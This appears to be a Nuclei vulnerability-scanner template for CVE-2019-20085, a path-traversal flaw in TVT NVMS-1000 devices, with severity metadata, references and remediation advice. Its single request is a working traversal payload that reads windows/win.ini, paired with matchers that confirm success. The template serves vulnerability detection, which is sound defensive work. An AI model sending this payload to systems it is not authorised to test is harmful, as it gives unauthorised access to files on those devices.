id: CVE-2019-20085

info:
  name: TVT NVMS 1000 - Local File Inclusion
  author: daffainfo
  severity: high
  description: |
    TVT NVMS-1000 devices allow GET /.. local file inclusion attacks.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information stored on the system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the local file inclusion vulnerability in TVT NVMS 1000 software.
  reference:
    - https://www.exploit-db.com/exploits/48311
    - https://www.exploit-db.com/exploits/47774
    - http://packetstormsecurity.com/files/157196/TVT-NVMS-1000-Directory-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-20085
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-20085
    cwe-id: CWE-22
    epss-score: 0.93975
    epss-percentile: 0.99892
    cpe: cpe:2.3:o:tvt:nvms-1000_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tvt
    product: nvms-1000_firmware
  tags: cve,cve2019,iot,lfi,kev,edb,packetstorm,tvt,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fwin.ini"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "\\[(font|extension|file)s\\]"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f32d900dda371b435b8b6a0fd8a124c7b5653bd3ed813868fd0cfff14f8fb22a02202ddfdaa077eef65096de24252c0dfed69143a4201276c11cb7bf4e4f1d363b68:922c64590222798bb761d5b6d8e72950